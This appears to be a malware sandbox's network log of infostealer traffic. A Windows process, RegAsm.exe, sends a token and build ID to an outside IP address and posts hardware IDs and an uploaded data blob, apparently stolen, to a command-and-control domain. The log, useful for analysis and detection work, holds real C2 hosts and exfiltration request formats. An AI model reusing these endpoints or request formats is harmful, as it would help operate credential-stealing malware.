2024-05-24 07:42:52 UTC	557	IN	Data Raw: 33 64 62 34 0d 0a 34 35 4b 6f 36 42 59 59 78 46 4e 46 75 42 6b 48 46 52 4a 38 41 37 54 61 49 47 73 42 46 6c 70 39 6f 64 65 37 70 41 6f 67 66 46 69 59 6d 4b 48 4b 59 44 72 2b 63 33 47 55 45 77 34 33 59 52 6b 68 6a 76 70 55 47 58 52 7a 64 6e 65 6f 39 64 72 41 4b 42 70 63 50 6f 4c 2b 32 34 30 36 45 73 31 78 4b 4d 41 37 50 54 56 4a 64 67 72 50 30 43 6c 69 49 33 4d 30 58 35 76 33 6d 64 4e 76 51 68 6b 67 6c 2f 66 47 6d 33 39 33 71 68 4d 6f 33 57 31 6d 65 48 4d 50 61 4a 71 7a 54 30 6b 74 48 46 4e 30 67 37 4c 42 68 6a 41 41 58 68 57 47 35 73 6d 6c 64 32 75 76 63 57 6d 79 45 41 34 33 64 77 67 68 6a 76 6f 43 4e 79 4e 6d 4f 77 2f 41 75 73 6a 34 4b 42 6f 48 42 4d 48 37 33 49 31 6b 65 62 41 36 4b 74 5a 71 57 7a 63 6f 53 6a 4f 45 36 68 42 62 66 44 52 51 64 4e 7a 64 73 Data Ascii: 3db445Ko6BYYxFNFuBkHFRJ8A7TaIGsBFlp9ode7pAogfFiYmKHKYDr+c3GUEw43YRkhjvpUGXRzdneo9drAKBpcPoL+2406Es1xKMA7PTVJdgrP0CliI3M0X5v3mdNvQhkgl/fGm393qhMo3W1meHMPaJqzT0ktHFN0g7LBhjAAXhWG5smld2uvcWmyEA43dwghjvoCNyNmOw/Ausj4KBoHBMH73I1kebA6KtZqWzcoSjOE6hBbfDRQdNzds
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 70 58 6a 32 4e 73 4a 4c 49 4e 48 79 6f 4d 43 72 61 61 57 31 38 65 78 74 7a 33 62 46 50 42 47 4e 35 4d 68 44 41 74 64 37 4d 59 6b 30 55 50 6f 7a 39 7a 49 70 30 4f 75 68 5a 54 4c 45 37 59 6d 38 77 52 69 4f 57 6d 30 63 5a 5a 48 67 75 58 66 6e 31 73 61 31 33 44 48 56 34 77 35 69 68 6b 78 77 52 7a 58 45 67 31 6a 73 39 4e 54 41 57 5a 4e 57 37 53 51 5a 67 66 44 4d 4e 77 36 66 66 79 32 31 51 47 44 2b 50 2b 73 6d 59 66 6e 53 67 4d 69 37 52 63 6d 42 77 64 46 34 76 76 74 4d 70 53 57 52 73 65 45 65 42 39 66 6a 4c 59 30 34 55 4c 59 47 77 6f 75 46 72 4e 4d 35 61 50 72 49 51 44 6a 64 33 45 69 47 4f 2b 67 49 4e 59 6e 41 35 47 38 32 37 33 63 70 75 54 42 4d 31 68 2f 72 4b 6a 58 35 79 72 6a 41 71 30 58 52 6c 63 6e 30 61 5a 39 71 35 52 30 6b 74 48 46 4e 30 67 37 4c 42 68 6a Data Ascii: pXj2NsJLINHyoMCraaW18extz3bFPBGN5MhDAtd7MYk0UPoz9zIp0OuhZTLE7Ym8wRiOWm0cZZHguXfn1sa13DHV4w5ihkxwRzXEg1js9NTAWZNW7SQZgfDMNw6ffy21QGD+P+smYfnSgMi7RcmBwdF4vvtMpSWRseEeB9fjLY04ULYGwouFrNM5aPrIQDjd3EiGO+gINYnA5G8273cpuTBM1h/rKjX5yrjAq0XRlcn0aZ9q5R0ktHFN0g7LBhj
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 6a 75 4c 41 68 6e 56 6f 6f 54 67 75 30 48 70 72 65 48 73 53 5a 4d 53 7a 54 51 46 73 64 54 55 53 79 4c 48 5a 68 69 59 71 64 56 48 42 39 39 4c 4b 4c 44 6a 6d 45 43 72 56 61 57 5a 6d 4d 69 74 69 32 4c 5a 46 48 79 4d 63 55 77 43 4e 33 62 4c 66 41 43 6c 31 65 6f 62 38 69 74 49 32 4f 71 63 39 4b 39 74 30 59 33 31 34 48 57 44 45 73 55 30 42 62 48 30 35 48 4d 65 30 30 39 52 36 51 68 49 6f 6a 66 72 4d 68 58 6c 32 35 6e 39 50 73 52 41 6c 63 47 68 65 4f 5a 54 34 61 41 70 33 64 7a 4a 64 39 72 62 58 79 47 39 55 58 6c 4c 71 37 34 54 69 48 32 50 4f 57 6b 79 61 66 47 6b 33 4b 46 77 68 32 37 6c 4b 44 33 46 37 4e 52 7a 4e 75 39 62 44 5a 30 6f 65 4f 6f 7a 31 7a 6f 46 2f 65 61 73 31 4e 64 42 37 62 58 4a 78 46 47 75 57 39 69 70 69 43 44 51 2f 42 34 50 74 6d 34 5a 5a 56 52 56 Data Ascii: juLAhnVooTgu0HpreHsSZMSzTQFsdTUSyLHZhiYqdVHB99LKLDjmECrVaWZmMiti2LZFHyMcUwCN3bLfACl1eob8itI2Oqc9K9t0Y314HWDEsU0BbH05HMe009R6QhIojfrMhXl25n9PsRAlcGheOZT4aAp3dzJd9rbXyG9UXlLq74TiH2POWkyafGk3KFwh27lKD3F7NRzNu9bDZ0oeOoz1zoF/eas1NdB7bXJxFGuW9ipiCDQ/B4Ptm4ZZVRV
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 6f 4a 78 64 61 41 30 4b 74 31 77 5a 6d 56 69 48 57 58 59 74 41 4a 48 43 78 39 54 58 38 53 74 6d 5a 34 71 41 6a 73 74 67 75 44 4d 69 54 51 53 7a 53 35 70 73 68 42 38 48 78 74 31 49 64 47 30 41 6c 45 68 4e 44 67 52 7a 37 37 65 7a 57 4e 47 47 6a 71 4d 2b 38 53 45 66 58 61 75 50 53 44 49 64 6d 42 2f 65 68 64 6b 32 72 56 42 47 32 42 31 65 46 47 72 33 72 4b 47 62 31 70 65 59 73 4f 77 37 62 6c 44 57 65 5a 5a 54 4d 55 31 44 52 78 70 64 67 71 39 2b 45 55 46 49 79 78 36 58 38 4b 39 33 73 68 73 55 42 41 6f 6a 2f 66 4b 6a 48 78 79 6f 54 30 70 31 47 6c 74 64 6e 41 51 62 74 36 78 52 67 68 6e 63 44 51 59 67 2f 75 78 72 51 4d 43 47 53 4c 42 71 49 6a 4b 58 48 6d 38 4b 32 58 30 63 47 56 77 59 41 68 36 6c 74 41 70 46 69 30 63 55 77 61 72 33 72 4b 47 62 30 35 65 59 73 4f 77 Data Ascii: oJxdaA0Kt1wZmViHWXYtAJHCx9TX8StmZ4qAjstguDMiTQSzS5pshB8Hxt1IdG0AlEhNDgRz77ezWNGGjqM+8SEfXauPSDIdmB/ehdk2rVBG2B1eFGr3rKGb1peYsOw7blDWeZZTMU1DRxpdgq9+EUFIyx6X8K93shsUBAoj/fKjHxyoT0p1GltdnAQbt6xRghncDQYg/uxrQMCGSLBqIjKXHm8K2X0cGVwYAh6ltApFi0cUwar3rKGb05eYsOw
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 61 74 4f 69 7a 5a 63 57 78 30 66 42 68 67 32 4c 68 4d 43 53 4d 36 55 48 53 6f 39 64 37 65 4b 42 70 63 65 71 48 37 33 4a 39 33 61 71 41 32 4b 35 6f 54 44 6d 67 2b 64 67 72 50 30 43 6c 69 49 33 4d 30 58 35 76 33 6d 63 68 36 52 68 38 36 69 66 6e 47 67 58 78 6f 6f 54 59 73 31 48 56 75 63 33 77 58 61 74 2b 39 54 67 68 6f 66 54 30 62 79 62 50 55 68 69 59 71 64 56 48 42 39 39 4c 4b 4c 44 6a 6d 48 53 54 56 63 43 55 66 47 77 45 76 76 74 4e 62 59 51 67 66 65 42 6a 50 39 59 47 45 4b 45 55 57 4d 6f 2f 7a 7a 49 46 34 64 71 63 34 49 64 39 7a 59 6e 68 33 46 32 62 57 76 6c 41 4f 62 6e 30 34 46 4d 71 2f 33 63 64 6a 41 6c 42 53 36 70 75 4b 6a 57 77 36 2f 6e 4e 6e 36 48 78 7a 5a 33 4e 65 43 62 32 6e 44 47 49 4c 48 79 46 33 71 4e 36 5a 77 57 51 43 52 6e 6a 42 2f 64 69 4c 63 Data Ascii: atOizZcWx0fBhg2LhMCSM6UHSo9d7eKBpceqH73J93aqA2K5oTDmg+dgrP0CliI3M0X5v3mch6Rh86ifnGgXxooTYs1HVuc3wXat+9TghofT0bybPUhiYqdVHB99LKLDjmHSTVcCUfGwEvvtNbYQgfeBjP9YGEKEUWMo/zzIF4dqc4Id9zYnh3F2bWvlAObn04FMq/3cdjAlBS6puKjWw6/nNn6HxzZ3NeCb2nDGILHyF3qN6ZwWQCRnjB/diLc
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 6c 6d 6e 70 70 65 48 4d 52 59 74 57 35 53 42 74 78 65 44 45 58 78 72 6e 53 79 47 35 51 47 44 57 49 38 38 6d 44 63 33 4b 71 4f 79 54 64 4f 79 73 66 47 33 55 68 30 61 41 43 55 53 45 30 47 77 6a 54 75 4a 6d 75 41 31 31 51 55 75 72 70 6f 75 45 66 4f 71 45 39 5a 34 49 35 4a 58 39 39 46 6d 76 53 76 30 38 4f 5a 58 30 71 46 73 61 37 32 63 4a 6a 54 52 67 2b 67 76 44 59 6a 48 42 79 70 54 77 71 31 48 68 68 4e 7a 35 32 43 72 33 34 52 52 45 6a 4c 48 70 66 38 62 6a 58 33 57 64 46 44 7a 44 42 6d 4b 47 56 4f 68 4c 4e 4b 45 2b 78 45 43 56 77 66 46 34 35 6c 50 68 47 42 33 46 2f 4f 52 54 49 75 39 37 4a 62 55 67 65 4e 59 58 7a 78 49 46 31 65 61 34 38 4b 74 52 78 62 48 35 33 45 6d 58 52 2b 41 78 68 43 42 39 34 47 4e 76 31 67 59 51 6f 61 54 38 58 72 66 66 51 79 68 77 52 75 58 Data Ascii: lmnppeHMRYtW5SBtxeDEXxrnSyG5QGDWI88mDc3KqOyTdOysfG3Uh0aACUSE0GwjTuJmuA11QUurpouEfOqE9Z4I5JX99FmvSv08OZX0qFsa72cJjTRg+gvDYjHBypTwq1HhhNz52Cr34RREjLHpf8bjX3WdFDzDBmKGVOhLNKE+xECVwfF45lPhGB3F/ORTIu97JbUgeNYXzxIF1ea48KtRxbH53EmXR+AxhCB94GNv1gYQoaT8XrffQyhwRuX
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 63 33 78 78 48 58 66 62 71 41 4a 68 43 47 74 32 64 36 69 73 73 61 30 44 41 68 6b 32 77 61 69 49 79 6e 4a 7a 6f 44 59 68 31 47 6c 67 63 58 38 52 61 4e 2b 38 53 67 70 6a 63 44 77 59 78 72 62 56 7a 57 39 42 45 54 36 49 2f 73 4f 46 4e 44 54 4f 57 6b 79 61 66 48 30 33 4b 46 77 68 39 36 4e 42 42 57 34 30 55 48 54 63 2b 37 47 74 63 53 70 31 55 63 48 33 78 73 6f 73 4f 4f 59 39 4b 64 39 37 62 33 46 30 47 32 66 63 76 55 49 43 59 48 73 38 47 63 65 36 32 63 31 68 51 78 67 2f 69 2f 76 4d 68 33 64 38 6f 48 46 70 73 68 41 4f 4e 33 63 47 49 59 37 36 41 69 6c 34 65 54 51 59 67 39 32 79 32 53 59 71 64 53 50 70 6d 36 48 4b 63 33 62 6d 61 57 57 61 63 47 6c 7a 64 78 35 73 31 62 42 48 44 57 6c 78 4f 42 66 52 76 64 6e 42 65 6c 41 65 4d 34 54 38 79 59 70 77 66 4b 38 33 4a 4e 34 Data Ascii: c3xxHXfbqAJhCGt2d6issa0DAhk2waiIynJzoDYh1GlgcX8RaN+8SgpjcDwYxrbVzW9BET6I/sOFNDTOWkyafH03KFwh96NBBW40UHTc+7GtcSp1UcH3xsosOOY9Kd97b3F0G2fcvUICYHs8Gce62c1hQxg/i/vMh3d8oHFpshAON3cGIY76Ail4eTQYg92y2SYqdSPpm6HKc3bmaWWacGlzdx5s1bBHDWlxOBfRvdnBelAeM4T8yYpwfK83JN4
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 48 55 4b 6c 71 41 43 55 53 45 30 44 52 7a 4e 75 39 37 51 65 51 38 35 4e 49 62 78 33 4a 70 6a 64 65 5a 2f 54 37 45 51 4a 58 45 77 52 69 4f 46 39 69 70 69 43 44 51 38 44 6f 50 74 6d 35 59 36 47 55 74 70 31 71 43 59 34 68 39 6c 36 46 6c 4d 77 78 4d 4f 48 44 41 49 49 59 37 36 45 45 63 4c 48 31 4e 66 30 66 57 42 68 43 67 46 48 53 69 54 39 73 6d 63 64 7a 32 59 44 77 44 4d 63 57 4a 6e 64 77 6c 75 6c 76 59 71 59 67 67 30 4e 31 2b 62 39 2b 43 75 41 79 6c 31 65 6f 6a 33 30 5a 74 69 64 37 59 32 5a 37 49 51 44 6b 67 2b 64 67 71 39 2b 46 70 4a 4f 7a 5a 34 4b 73 43 37 31 38 46 2b 55 31 4d 64 6c 2f 72 4e 6d 6e 4e 74 71 58 46 70 73 68 41 4f 4e 33 5a 65 4f 5a 54 72 44 47 45 49 48 33 67 62 30 76 57 42 68 44 67 51 52 57 2f 53 70 35 72 59 48 42 47 35 66 30 2b 78 59 67 30 63 Data Ascii: HUKlqACUSE0DRzNu97QeQ85NIbx3JpjdeZ/T7EQJXEwRiOF9ipiCDQ8DoPtm5Y6GUtp1qCY4h9l6FlMwxMOHDAIIY76EEcLH1Nf0fWBhCgFHSiT9smcdz2YDwDMcWJndwlulvYqYgg0N1+b9+CuAyl1eoj30Ztid7Y2Z7IQDkg+dgq9+FpJOzZ4KsC718F+U1Mdl/rNmnNtqXFpshAON3ZeOZTrDGEIH3gb0vWBhDgQRW/Sp5rYHBG5f0+xYg0c
2024-05-24 07:42:52 UTC	1369	IN	Data Raw: 6e 34 47 6b 74 61 4e 44 73 4e 30 66 72 49 30 47 56 53 47 58 61 4a 34 63 65 47 4e 44 54 6b 63 57 76 65 63 47 6c 79 64 77 34 75 78 4b 68 4a 42 58 55 34 50 41 32 44 2b 35 75 47 65 55 6b 52 4b 49 2f 33 68 5a 74 69 64 37 59 79 49 74 30 33 62 57 5a 39 45 69 47 59 2b 67 49 63 61 48 67 2b 45 74 62 36 79 4e 42 72 56 42 6c 32 69 65 48 48 68 6a 52 46 36 46 6c 4d 73 54 74 39 4e 79 68 63 49 65 4f 37 54 41 64 6b 59 69 6c 53 34 37 37 56 78 57 52 44 47 58 72 50 6d 4b 48 68 4e 48 7a 6d 61 57 57 4a 4e 51 30 63 47 31 35 6c 78 2f 67 61 53 7a 4d 6d 59 30 71 51 34 6f 6d 55 41 43 6b 42 64 4f 6d 62 30 2b 49 66 45 65 59 6e 5a 34 49 35 4e 7a 6b 59 64 51 71 57 71 67 4a 52 49 54 52 2f 48 4e 47 6e 33 38 56 2b 51 56 6b 45 76 2f 48 48 68 54 68 30 72 54 45 67 79 6d 31 2b 4f 33 67 64 65 Data Ascii: n4GktaNDsN0frI0GVSGXaJ4ceGNDTkcWvecGlydw4uxKhJBXU4PA2D+5uGeUkRKI/3hZtid7YyIt03bWZ9EiGY+gIcaHg+Etb6yNBrVBl2ieHHhjRF6FlMsTt9NyhcIeO7TAdkYilS477VxWRDGXrPmKHhNHzmaWWJNQ0cG15lx/gaSzMmY0qQ4omUACkBdOmb0+IfEeYnZ4I5NzkYdQqWqgJRITR/HNGn38V+QVkEv/HHhTh0rTEgym1+O3gde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49880	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:53 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKECBKKECGCAAAEHJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:42:53 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------AKKKECBKKECGCAAAEHJKCont
2024-05-24 07:42:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:42:54 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49881	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:53 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:42:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 07:42:53 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nsnaih27nobdmlgnjlnooafuhg; expires=Tue, 17-Sep-2024 01:29:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qy54PVJ8vAcroPOPkk%2Fb14u60wwCaRpyJ0bR8MdzeWke97F8SXGNzjOa2%2Fq%2FPAhkofwKYBNhjUawYS1kSHlmy9tOsQ45qsiioLQbb6JfJIxW64Ume8v1LBYyr0YlEM0vseLM4WBpQu53gw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6cf7e2680d6-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:53 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 07:42:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49882	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:53 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:42:53 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:42:53 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:42:53 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=21jnfosg4adi2s7h7pjnlr8982; expires=Tue, 17-Sep-2024 01:29:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ccU9AsaiKR39hkSai9fFGx1005gh5Yfg5J3HSamnlJkIivvw0Z744yFvLx5UBbG%2FaboRX5mgQ%2FmN6WkaCoSVvVIXlb37W12ahsOoQEOo7BFyb%2FDHYqcgvUFKyc0ljpn1raGfwVl4sfvBeA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6d0ae2b1869-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:42:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49886	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:54 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:42:54 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:42:54 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fh9iuoeekrb0fk55png25peh9f; expires=Tue, 17-Sep-2024 01:29:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=At%2FobuBdHuDIXTO94XW%2FsP6exDTLK9t3sG3muOyePc1aK6jomtVeMTmCrx%2F355bWAPSQmPCYfCLAEcH46mjqXE3Sfi0u8nb6P0aK%2BS%2Fe0sKVtewB7iTPGocHqQ7ppSXRBgqzfpV73ClZ3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6d55c6143a5-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:42:54 UTC	553	IN	Data Raw: 31 66 61 38 0d 0a 6a 4f 76 59 50 59 52 4c 4c 50 75 56 6e 30 79 63 44 4c 75 74 4a 69 4d 6b 71 4a 37 77 2b 70 6a 79 71 54 54 56 56 2f 37 67 38 6e 66 33 34 64 45 66 38 6d 6b 57 32 36 47 7a 52 70 55 75 79 4d 67 45 47 51 54 63 37 49 57 66 74 50 69 67 46 72 51 7a 33 4e 72 53 45 65 32 48 71 31 69 6f 51 53 58 5a 2b 4f 64 75 70 69 7a 67 70 79 39 59 4c 71 47 58 30 70 2f 32 30 4a 4d 55 39 79 43 62 67 70 63 50 2b 49 36 32 54 75 30 6b 51 72 76 34 2b 6a 6a 39 59 64 72 65 54 51 31 4e 78 37 7a 63 38 4a 48 37 69 31 47 76 64 63 54 41 30 44 72 70 6e 37 6c 77 35 54 68 48 32 62 6d 56 52 5a 55 75 33 74 6b 45 47 51 53 4b 77 74 4b 4b 2b 59 44 49 57 61 59 4c 33 4e 71 4a 4b 36 36 43 72 46 6a 32 4b 6c 69 53 2b 76 45 2f 77 43 36 42 6d 78 59 54 46 4a 69 75 6a 64 69 53 2b 39 51 2b 33 Data Ascii: 1fa8jOvYPYRLLPuVn0ycDLutJiMkqJ7w+pjyqTTVV/7g8nf34dEf8mkW26GzRpUuyMgEGQTc7IWftPigFrQz3NrSEe2Hq1ioQSXZ+Odupizgpy9YLqGX0p/20JMU9yCbgpcP+I62Tu0kQrv4+jj9YdreTQ1Nx7zc8JH7i1GvdcTA0Drpn7lw5ThH2bmVRZUu3tkEGQSKwtKK+YDIWaYL3NqJK66CrFj2KliS+vE/wC6BmxYTFJiujdiS+9Q+3
2024-05-24 07:42:54 UTC	1369	IN	Data Raw: 75 58 66 66 70 30 42 4c 69 79 65 49 64 70 69 39 41 6d 50 72 39 50 50 5a 6c 30 73 70 57 53 6b 2f 48 38 5a 4b 56 38 4a 2f 49 56 72 41 2f 6c 6f 32 61 45 65 4f 45 76 46 2f 6d 61 51 44 78 6e 4a 5a 75 2b 58 61 5a 6c 77 59 42 5a 63 2f 73 6c 5a 54 73 30 76 45 57 33 31 36 44 7a 50 74 58 72 4f 48 52 52 6f 35 43 4a 64 6e 77 38 57 36 6d 4c 4a 6e 48 51 55 4a 46 77 66 4f 52 6b 50 47 43 79 30 53 78 4f 4a 6d 51 6c 68 44 67 67 37 6c 4e 37 43 64 49 6d 76 37 32 4a 2f 74 70 33 59 38 4b 4b 53 32 68 76 4a 57 41 75 73 69 4a 46 70 59 34 6c 34 36 61 41 75 37 4a 30 6a 54 35 5a 79 62 79 37 70 56 46 6c 53 37 65 77 77 51 5a 42 49 72 34 6b 35 7a 37 6c 4d 56 59 73 7a 6d 61 6a 4a 30 61 36 49 4f 36 57 4f 77 68 52 70 6a 36 39 69 48 2b 61 39 54 4c 51 6b 31 48 7a 37 7a 63 38 4a 48 37 69 31 Data Ascii: uXffp0BLiyeIdpi9AmPr9PPZl0spWSk/H8ZKV8J/IVrA/lo2aEeOEvF/maQDxnJZu+XaZlwYBZc/slZTs0vEW316DzPtXrOHRRo5CJdnw8W6mLJnHQUJFwfORkPGCy0SxOJmQlhDgg7lN7CdImv72J/tp3Y8KKS2hvJWAusiJFpY4l46aAu7J0jT5Zyby7pVFlS7ewwQZBIr4k5z7lMVYszmajJ0a6IO6WOwhRpj69iH+a9TLQk1Hz7zc8JH7i1
